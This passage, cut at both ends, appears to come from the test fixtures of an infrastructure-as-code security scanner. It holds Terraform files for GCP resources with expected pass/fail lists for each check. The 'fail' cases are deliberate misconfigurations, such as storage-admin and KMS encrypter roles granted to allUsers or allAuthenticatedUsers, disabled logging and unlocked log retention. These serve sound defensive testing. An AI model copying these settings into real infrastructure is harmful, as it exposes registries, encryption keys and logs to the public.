= \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_member\" \"fail2_member\" {\n  bucket = google_container_registry.fail2.id\n  role = \"roles/storage.objectViewer\"\n  member = \"allAuthenticatedUsers\"\n}\n\nresource \"google_container_registry\" \"fail3\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"fail3_binding\" {\n  bucket = google_container_registry.fail3.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_container_registry\" \"fail4\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"fail4_binding\" {\n  bucket = google_container_registry.fail4.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n\nresource \"google_container_registry\" \"fail5\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"fail5_binding\" {\n  bucket = google_container_registry.fail5.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"allAuthenticatedUsers\",\n    \"group:my-group@example.com\"\n  ]\n}\n\nresource \"google_container_registry\" \"fail6\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"fail6_binding\" {\n  bucket = google_container_registry.fail6.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"group:my-group@example.com\",\n    \"allUsers\",\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_container_registry\" \"fail7\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"fail7_binding\" {\n  bucket = google_container_registry.fail7.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"allUsers\",\n    \"group:my-group@example.com\",\n    \"user:jason@example.com\",\n  ]\n}\n\nresource \"google_container_registry\" \"fail8\" {\n  project  = \"my-project\"\n  location = \"EU\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"fail8_binding\" {\n  bucket = google_container_registry.fail8.id\n  role = \"roles/storage.admin\"\n  members = [\n    \"group:my-group@example.com\",\n    \"user:jason@example.com\",\n    \"allAuthenticatedUsers\",\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDialogFlowAgentLoggingEnabled/expected.yaml",
    "content": "pass:\n  - \"google_dialogflow_agent.agent_good\"\nfail:\n  - \"google_dialogflow_agent.agent_bad\"\n  - \"google_dialogflow_agent.agent_bad_unset\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDialogFlowAgentLoggingEnabled/main.tf",
    "content": "resource \"google_dialogflow_agent\" \"agent_good\" {\n  display_name = \"dialogflow-agent-good\"\n  default_language_code = \"en\"\n  time_zone = \"America/New_York\"\n  enable_logging = true\n  match_mode = \"MATCH_MODE_ML_ONLY\"\n  classification_threshold = 0.3\n  api_version = \"API_VERSION_V2_BETA_1\"\n  tier = \"TIER_STANDARD\"\n}\n\nresource \"google_dialogflow_agent\" \"agent_bad\" {\n  display_name = \"dialogflow-agent-bad\"\n  default_language_code = \"en\"\n  time_zone = \"America/New_York\"\n  enable_logging = false\n  match_mode = \"MATCH_MODE_ML_ONLY\"\n  classification_threshold = 0.3\n  api_version = \"API_VERSION_V2_BETA_1\"\n  tier = \"TIER_STANDARD\"\n}\n\nresource \"google_dialogflow_agent\" \"agent_bad_unset\" {\n  display_name = \"dialogflow-agent-bad-unset\"\n  default_language_code = \"en\"\n  time_zone = \"America/New_York\"\n  match_mode = \"MATCH_MODE_ML_ONLY\"\n  classification_threshold = 0.3\n  api_version = \"API_VERSION_V2_BETA_1\"\n  tier = \"TIER_STANDARD\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDialogFlowCxAgentLoggingEnabled/expected.yaml",
    "content": "pass:\n  - \"google_dialogflow_cx_agent.good\"\nfail:\n  - \"google_dialogflow_cx_agent.bad\"\n  - \"google_dialogflow_cx_agent.bad_unset\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDialogFlowCxAgentLoggingEnabled/main.tf",
    "content": "resource \"google_dialogflow_cx_agent\" \"good\" {\n  display_name = \"dialogflowcx-agent\"\n  location = \"global\"\n  default_language_code = \"en\"\n  supported_language_codes = [\"it\",\"de\",\"es\"]\n  time_zone = \"America/New_York\"\n  description = \"Example description.\"\n  enable_spell_correction    = true\n  enable_stackdriver_logging = true\n  speech_to_text_settings {\n    enable_speech_adaptation = true\n  }\n}\n\nresource \"google_dialogflow_cx_agent\" \"bad\" {\n  display_name = \"dialogflowcx-agent\"\n  location = \"global\"\n  default_language_code = \"en\"\n  supported_language_codes = [\"it\",\"de\",\"es\"]\n  time_zone = \"America/New_York\"\n  description = \"Example description.\"\n  enable_spell_correction    = true\n  enable_stackdriver_logging = false\n  speech_to_text_settings {\n    enable_speech_adaptation = true\n  }\n}\n\nresource \"google_dialogflow_cx_agent\" \"bad_unset\" {\n  display_name = \"dialogflowcx-agent\"\n  location = \"global\"\n  default_language_code = \"en\"\n  supported_language_codes = [\"it\",\"de\",\"es\"]\n  time_zone = \"America/New_York\"\n  description = \"Example description.\"\n  enable_spell_correction    = true\n  speech_to_text_settings {\n    enable_speech_adaptation = true\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDialogFlowCxWebhookLoggingEnabled/expected.yaml",
    "content": "pass:\n  - \"google_dialogflow_cx_webhook.good_webhook\"\nfail:\n  - \"google_dialogflow_cx_webhook.bad_webhook\"\n  - \"google_dialogflow_cx_webhook.bad_unset_webhook\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDialogFlowCxWebhookLoggingEnabled/main.tf",
    "content": "resource \"google_dialogflow_cx_agent\" \"agent\" {\n  display_name = \"dialogflowcx-agent\"\n  location = \"global\"\n  default_language_code = \"en\"\n  supported_language_codes = [\"it\",\"de\",\"es\"]\n  time_zone = \"America/New_York\"\n  description = \"Example description.\"\n  enable_spell_correction    = true\n  speech_to_text_settings {\n    enable_speech_adaptation = true\n  }\n}\n\n\nresource \"google_dialogflow_cx_webhook\" \"good_webhook\" {\n  parent       = google_dialogflow_cx_agent.agent.id\n  display_name = \"GoodWebhook\"\n  enable_stackdriver_logging = true\n  generic_web_service {\n        uri = \"https://paloaltonetworks.com\"\n    }\n}\n\nresource \"google_dialogflow_cx_webhook\" \"bad_webhook\" {\n  parent       = google_dialogflow_cx_agent.agent.id\n  display_name = \"BadWebhook\"\n  enable_stackdriver_logging = false\n  generic_web_service {\n        uri = \"https://paloaltonetworks.com\"\n    }\n}\n\nresource \"google_dialogflow_cx_webhook\" \"bad_unset_webhook\" {\n  parent       = google_dialogflow_cx_agent.agent.id\n  display_name = \"BadUnsetWebhook\"\n  generic_web_service {\n        uri = \"https://paloaltonetworks.com\"\n    }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDocumentAIProcessorEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_document_ai_processor.processor_good\"\nfail:\n  - \"google_document_ai_processor.processor_bad\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDocumentAIProcessorEncryptedWithCMK/main.tf",
    "content": "resource \"google_document_ai_processor\" \"processor_bad\" {\n  location = \"us\"\n  display_name = \"bad-processor\"\n  type = \"OCR_PROCESSOR\"\n}\n\nresource \"google_document_ai_processor\" \"processor_good\" {\n  location = \"us\"\n  display_name = \"good-processor\"\n  type = \"OCR_PROCESSOR\"\n  kms_key_name = \"my_super_secret_key_name\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDocumentAIWarehouseLocationEncryptedWithCMK/expected.yaml",
    "content": "pass:\n  - \"google_document_ai_warehouse_location.location_good\"\nfail:\n  - \"google_document_ai_warehouse_location.location_bad\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPDocumentAIWarehouseLocationEncryptedWithCMK/main.tf",
    "content": "resource \"google_document_ai_warehouse_location\" \"location_good\" {\n    location = \"us\"\n    project_number = data.google_project.project.number\n    access_control_mode = \"ACL_MODE_DOCUMENT_LEVEL_ACCESS_CONTROL_GCI\"\n    database_type = \"DB_INFRA_SPANNER\"\n    kms_key = \"dummy_key\"\n    document_creator_default_role = \"DOCUMENT_ADMIN\"\n}\n\nresource \"google_document_ai_warehouse_location\" \"location_bad\" {\n    location = \"us\"\n    project_number = data.google_project.project.number\n    access_control_mode = \"ACL_MODE_DOCUMENT_LEVEL_ACCESS_CONTROL_GCI\"\n    database_type = \"DB_INFRA_SPANNER\"\n    document_creator_default_role = \"DOCUMENT_ADMIN\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPKMSCryptoKeysAreNotPubliclyAccessible/expected.yaml",
    "content": "pass:\n  - \"google_kms_crypto_key.key_good_1\"\n  - \"google_kms_crypto_key.key_good_2\"\nfail:\n  - \"google_kms_crypto_key.key_bad_1\"\n  - \"google_kms_crypto_key.key_bad_2\"\n  - \"google_kms_crypto_key.key_bad_3\"\n  - \"google_kms_crypto_key.key_bad_4\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPKMSCryptoKeysAreNotPubliclyAccessible/main.tf",
    "content": "resource \"google_kms_key_ring\" \"keyring\" {\n  name = \"keyring-example\"\n  location = \"global\"\n}\n\n\nresource \"google_kms_crypto_key\" \"key_good_1\" {\n  name = \"crypto-key-example\"\n  key_ring = google_kms_key_ring.keyring.id\n  rotation_period = \"100000s\"\n\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\nresource \"google_kms_crypto_key\" \"key_bad_1\" {\n  name = \"crypto-key-example\"\n  key_ring = google_kms_key_ring.keyring.id\n  rotation_period = \"100000s\"\n\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\nresource \"google_kms_crypto_key\" \"key_bad_2\" {\n  name = \"crypto-key-example\"\n  key_ring = google_kms_key_ring.keyring.id\n  rotation_period = \"100000s\"\n\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\nresource \"google_kms_crypto_key_iam_member\" \"crypto_key_good\" {\n  crypto_key_id = google_kms_crypto_key.key_good_1.id\n  role = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member = \"user:jane@example.com\"\n}\n\nresource \"google_kms_crypto_key_iam_member\" \"crypto_key_bad_1\" {\n  crypto_key_id = google_kms_crypto_key.key_bad_1.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member        = \"allUsers\"\n}\n\nresource \"google_kms_crypto_key_iam_member\" \"crypto_key_bad_2\" {\n  crypto_key_id = google_kms_crypto_key.key_bad_2.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member        = \"allAuthenticatedUsers\"\n}\n\nresource \"google_kms_crypto_key\" \"key_good_2\" {\n  name = \"crypto-key-example\"\n  key_ring = google_kms_key_ring.keyring.id\n  rotation_period = \"100000s\"\n\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\nresource \"google_kms_crypto_key\" \"key_bad_3\" {\n  name = \"crypto-key-example\"\n  key_ring = google_kms_key_ring.keyring.id\n  rotation_period = \"100000s\"\n\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\nresource \"google_kms_crypto_key\" \"key_bad_4\" {\n  name = \"crypto-key-example\"\n  key_ring = google_kms_key_ring.keyring.id\n  rotation_period = \"100000s\"\n\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\n\nresource \"google_kms_crypto_key_iam_binding\" \"crypto_key\" {\n  crypto_key_id = google_kms_crypto_key.key_good_2.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_kms_crypto_key_iam_binding\" \"crypto_key\" {\n  crypto_key_id = google_kms_crypto_key.key_bad_3.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_kms_crypto_key_iam_binding\" \"crypto_key\" {\n  crypto_key_id = google_kms_crypto_key.key_bad_4.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPKMSKeyRingsAreNotPubliclyAccessible/expected.yaml",
    "content": "pass:\n  - \"google_kms_key_ring.key_ring_good_1\"\n  - \"google_kms_key_ring.key_ring_good_2\"\nfail:\n  - \"google_kms_key_ring.key_ring_bad_1\"\n  - \"google_kms_key_ring.key_ring_bad_2\"\n  - \"google_kms_key_ring.key_ring_bad_3\"\n  - \"google_kms_key_ring.key_ring_bad_4\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPKMSKeyRingsAreNotPubliclyAccessible/main.tf",
    "content": "resource \"google_kms_key_ring\" \"key_ring_good_1\" {\n  name = \"key-ring-good1\"\n  location = \"global\"\n}\n\nresource \"google_kms_key_ring\" \"key_ring_good_2\" {\n  name = \"key-ring-good2\"\n  location = \"global\"\n}\n\nresource \"google_kms_key_ring\" \"key_ring_bad_1\" {\n  name = \"key-ring-bad1\"\n  location = \"global\"\n}\n\nresource \"google_kms_key_ring\" \"key_ring_bad_2\" {\n  name = \"key-ring-bad2\"\n  location = \"global\"\n}\n\nresource \"google_kms_key_ring\" \"key_ring_bad_3\" {\n  name = \"key-ring-bad3\"\n  location = \"global\"\n}\n\nresource \"google_kms_key_ring\" \"key_ring_bad_4\" {\n  name = \"key-ring-bad4\"\n  location = \"global\"\n}\n\n# Non-public IAM policies\n\nresource \"google_kms_key_ring_iam_member\" \"key_ring_iam_good1\" {\n  key_ring_id = google_kms_key_ring.key_ring_good_1.id\n  role = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member = \"user:jane@example.com\"\n}\n\nresource \"google_kms_key_ring_iam_binding\" \"key_ring_iam_good2\" {\n  key_ring_id = google_kms_key_ring.key_ring_good_2.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\n# Public IAM policies\n\nresource \"google_kms_key_ring_iam_member\" \"key_ring_iam_bad_1\" {\n  key_ring_id = google_kms_key_ring.key_ring_bad_1.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member        = \"allUsers\"\n}\n\nresource \"google_kms_key_ring_iam_member\" \"key_ring_iam_bad_2\" {\n  key_ring_id = google_kms_key_ring.key_ring_bad_2.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n  member        = \"allAuthenticatedUsers\"\n}\n\n\nresource \"google_kms_key_ring_iam_binding\" \"key_ring_iam_bad_3\" {\n  key_ring_id = google_kms_key_ring.key_ring_bad_3.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"allUsers\",\n  ]\n}\n\nresource \"google_kms_key_ring_iam_binding\" \"key_ring_iam_bad_4\" {\n  key_ring_id = google_kms_key_ring.key_ring_bad_4.id\n  role          = \"roles/cloudkms.cryptoKeyEncrypter\"\n\n  members = [\n    \"allAuthenticatedUsers\",\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPLogBucketsConfiguredUsingLock/expected.yaml",
    "content": "pass:\n  - \"google_logging_organization_sink.org_sink_good_1\"\n  - \"google_logging_folder_sink.folder_sink_good_1\"\n  - \"google_logging_project_sink.project_sink_good_1\"\nfail:\n  - \"google_logging_organization_sink.org_sink_bad_1\"\n  - \"google_logging_organization_sink.org_sink_bad_2\"\n  - \"google_logging_folder_sink.folder_sink_bad_1\"\n  - \"google_logging_folder_sink.folder_sink_bad_2\"\n  - \"google_logging_project_sink.project_sink_bad_1\"\n  - \"google_logging_project_sink.project_sink_bad_2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPLogBucketsConfiguredUsingLock/main.tf",
    "content": "resource \"google_logging_organization_sink\" \"org_sink_good_1\" {\n  name   = \"my-sink\"\n  description = \"some explanation on what this is\"\n  org_id = \"123456789\"\n  destination = google_storage_bucket.log_bucket_good.name\n  filter = \"resource.type = gce_instance AND severity >= WARNING\"\n}\n\nresource \"google_logging_folder_sink\" \"folder_sink_good_1\" {\n  name   = \"my-sink\"\n  description = \"some explanation on what this is\"\n  folder = \"folder-name\"\n  destination = google_storage_bucket.log_bucket_good.name\n  filter = \"resource.type = gce_instance AND severity >= WARNING\"\n}\n\nresource \"google_logging_folder_sink\" \"folder_sink_bad_1\" {\n  name   = \"my-sink\"\n  description = \"some explanation on what this is\"\n  folder = \"folder-name\"\n  destination = google_storage_bucket.log_bucket_bad_1.name\n  filter = \"resource.type = gce_instance AND severity >= WARNING\"\n}\n\nresource \"google_logging_folder_sink\" \"folder_sink_bad_2\" {\n  name   = \"my-sink\"\n  description = \"some explanation on what this is\"\n  folder = \"folder-name\"\n  destination = google_storage_bucket.log_bucket_bad_2.name\n  filter = \"resource.type = gce_instance AND severity >= WARNING\"\n}\n\nresource \"google_logging_project_sink\" \"project_sink_good_1\" {\n  name = \"my-pubsub-instance-sink\"\n  destination = google_storage_bucket.log_bucket_good.name\n  filter = \"resource.type = gce_instance AND severity >= WARNING\"\n  unique_writer_identity = true\n}\n\nresource \"google_logging_project_sink\" \"project_sink_bad_1\" {\n  name = \"my-pubsub-instance-sink\"\n  destination = google_storage_bucket.log_bucket_bad_1.name\n  filter = \"resource.type = gce_instance AND severity >= WARNING\"\n  unique_writer_identity = true\n}\n\nresource \"google_logging_project_sink\" \"project_sink_bad_2\" {\n  name = \"my-pubsub-instance-sink\"\n  destination = google_storage_bucket.log_bucket_bad_2.name\n  filter = \"resource.type = gce_instance AND severity >= WARNING\"\n  unique_writer_identity = true\n}\n\n\nresource \"google_logging_organization_sink\" \"org_sink_bad_1\" {\n  name   = \"my-sink\"\n  description = \"some explanation on what this is\"\n  org_id = \"123456789\"\n\n  destination = google_storage_bucket.log_bucket_bad_1.name\n}\n\nresource \"google_logging_organization_sink\" \"org_sink_bad_2\" {\n  name   = \"my-sink\"\n  description = \"some explanation on what this is\"\n  org_id = \"123456789\"\n\n  destination = google_storage_bucket.log_bucket_bad_2.name\n}\n\nresource \"google_storage_bucket\" \"log_bucket_good\" {\n  name = \"organization-logging-bucket\"\n\n  retention_policy {\n    retention_period = 1000\n    is_locked = true\n  }\n}\n\n\nresource \"google_storage_bucket\" \"log_bucket_bad_1\" {\n  name = \"organization-logging-bucket\"\n\n  retention_policy {\n    retention_period = 1000\n    is_locked = false\n  }\n}\n\nresource \"google_storage_bucket\" \"log_bucket_bad_2\" {\n  name = \"organization-logging-bucket\"\n\n  retention_policy {\n    retention_period = 1000\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled/expected.yaml",
    "content": "pass:\n  - \"google_sql_database_instance.pass_1\"\n  - \"google_sql_database_instance.pass_2\"\n  - \"google_sql_database_instance.replica\"\nfail:\n  - \"google_sql_database_instance.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled/main.tf",
    "content": "#PASS case 1: \nresource \"google_sql_database_instance\" \"pass_1\" {\n  name             = \"pud_pass_sqldb\"\n  database_version = \"MYSQL_5_7\"\n\n  deletion_protection = false\n  settings {\n    tier = \"db-f1-micro\"\n\n    backup_configuration {\n      binary_log_enabled = \"true\"\n    }\n  }\n}\n\n#PASS case 2: database_version is not starting with \"MYSQL_\"\nresource \"google_sql_database_instance\" \"pass_2\" {\n  name             = \"pud_sqldb\"\n  database_version = \"POSTGRES_15\"\n\n  deletion_protection = false\n  settings {\n    tier = \"db-f1-micro\"\n\n    backup_configuration {\n      binary_log_enabled = \"true\"\n    }\n  }\n}\n\n#FAIL case 3: binary_log_enabled is not True\nresource \"google_sql_database_instance\" \"fail\" {\n  name             = \"pud_sqldb\"\n  database_version = \"MYSQL_5_7\"\n\n  deletion_protection = false\n  settings {\n    tier = \"db-f1-micro\"\n\n    backup_configuration {\n      binary_log_enabled = \"false\"\n    }\n  }\n}\n\n# Pass: replicas can't have point in time recovery\nresource \"google_sql_database_instance\" \"replica\" {\n  name                 = \"${google_sql_database_instance.default.name}-replica\"\n  database_version     = google_sql_database_instance.default.database_version\n  region               = google_sql_database_instance.default.region\n  project              = google_sql_database_instance.default.project\n  master_instance_name = google_sql_database_instance.default.name\n\n  settings {\n    tier      = var.cloudsql_replica_machine_type\n    disk_size = 40\n    ip_configuration {\n      ipv4_enabled    = true\n      private_network = data.google_compute_network.default.id\n    }\n    database_flags {\n      name  = \"innodb_lock_wait_timeout\"\n      value = \"240\"\n    }\n    backup_configuration {\n      enabled                        = true\n      location                       = \"eu\"\n      start_time                     = \"04:42\"\n      backup_retention_settings {\n        retention_unit   = \"COUNT\"\n        retained_backups = 7\n      }\n    }\n  }\n  deletion_protection = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPNetworkDoesNotUseDefaultFirewall/expected.yaml",
    "content": "pass:\n  - \"google_compute_network.pass\"\nfail:\n  - \"google_compute_network.fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPNetworkDoesNotUseDefaultFirewall/main.tf",
    "content": "resource \"google_compute_network\" \"fail\" {\n  name = \"test-network\"\n  project = \"pike-gcp\"\n}\n\nresource \"google_compute_firewall\" \"pass\" {\n  name    = \"test-firewall\"\n  project = \"pike-gcp\"\n  network = google_compute_network.pass.name\n  allow {\n    protocol = \"icmp\"\n  }\n\n  allow {\n    protocol = \"tcp\"\n    ports    = [\"80\", \"8080\"]\n  }\n\n  source_tags = [\"web\"]\n}\n\nresource \"google_compute_network\" \"pass\" {\n  name = \"test-pass-network\"\n  project = \"pike-gcp\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON/expected.yaml",
    "content": "pass:\n  - \"google_sql_database_instance.postgresql-instance-ok-1\"\nfail:\n  - \"google_sql_database_instance.postgresql-instance-not-ok-1\"\n  - \"google_sql_database_instance.postgresql-instance-not-ok-2\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_durationIsSetToON/main.tf",
    "content": "#case1 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-1\" {\n  name    = \"postgresql-instance-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_duration\"\n      value = \"on\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case2 - FAIL\nresource \"google_sql_database_instance\" \"postgresql-instance-not-ok-1\" {\n  name    = \"postgresql-instance-not-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_duration\"\n      value = \"off\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case3 - FAIL\nresource \"google_sql_database_instance\" \"postgresql-instance-not-ok-2\" {\n  name    = \"postgresql-instance-not-ok-2\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF/expected.yaml",
    "content": "pass:\n  - \"google_sql_database_instance.postgresql-instance-ok-1\"\n  - \"google_sql_database_instance.postgresql-instance-ok-2\"\nfail:\n  - \"google_sql_database_instance.postgresql-instance-not-ok-1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF/main.tf",
    "content": "#case1 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-1\" {\n  name    = \"postgresql-instance-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_executor_stats\"\n      value = \"off\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case2 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-2\" {\n  name    = \"postgresql-instance-ok-2\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case3 - FAIL\nresource \"google_sql_database_instance\" \"postgresql-instance-not-ok-1\" {\n  name    = \"postgresql-instance-not-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_executor_stats\"\n      value = \"on\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF/expected.yaml",
    "content": "pass:\n  - \"google_sql_database_instance.postgresql-instance-ok-1\"\n  - \"google_sql_database_instance.postgresql-instance-ok-2\"\nfail:\n  - \"google_sql_database_instance.postgresql-instance-not-ok-1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF/main.tf",
    "content": "#case1 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-1\" {\n  name    = \"postgresql-instance-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_parser_stats\"\n      value = \"off\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case2 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-2\" {\n  name    = \"postgresql-instance-ok-2\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case3 - FAIL\nresource \"google_sql_database_instance\" \"postgresql-instance-not-ok-1\" {\n  name    = \"postgresql-instance-not-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_parser_stats\"\n      value = \"on\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF/expected.yaml",
    "content": "pass:\n  - \"google_sql_database_instance.postgresql-instance-ok-1\"\n  - \"google_sql_database_instance.postgresql-instance-ok-2\"\nfail:\n  - \"google_sql_database_instance.postgresql-instance-not-ok-1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF/main.tf",
    "content": "#case1 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-1\" {\n  name    = \"postgresql-instance-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_planner_stats\"\n      value = \"off\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case2 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-2\" {\n  name    = \"postgresql-instance-ok-2\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case3 - FAIL\nresource \"google_sql_database_instance\" \"postgresql-instance-not-ok-1\" {\n  name    = \"postgresql-instance-not-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_planner_stats\"\n      value = \"on\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF/expected.yaml",
    "content": "pass:\n  - \"google_sql_database_instance.postgresql-instance-ok-1\"\n  - \"google_sql_database_instance.postgresql-instance-ok-2\"\nfail:\n  - \"google_sql_database_instance.postgresql-instance-not-ok-1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF/main.tf",
    "content": "#case1 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-1\" {\n  name    = \"postgresql-instance-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_statement_stats\"\n      value = \"off\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case2 - PASS\nresource \"google_sql_database_instance\" \"postgresql-instance-ok-2\" {\n  name    = \"postgresql-instance-ok-2\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}\n\n#case3 - FAIL\nresource \"google_sql_database_instance\" \"postgresql-instance-not-ok-1\" {\n  name    = \"postgresql-instance-not-ok-1\"\n  database_version = \"POSTGRES_15\"\n  settings {\n    database_flags {\n      name  = \"log_statement_stats\"\n      value = \"on\"\n    }\n    tier = \"db-f1-micro\"\n  }\n  deletion_protection = false\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPProjectHasNoLegacyNetworks/expected.yaml",
    "content": "pass:\n  - \"google_project.project_good_1\"\n  - \"google_project.project_good_2\"\nfail:\n  - \"google_project.project_bad_1\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/GCPProjectHasNoLegacyNetworks/main.tf",
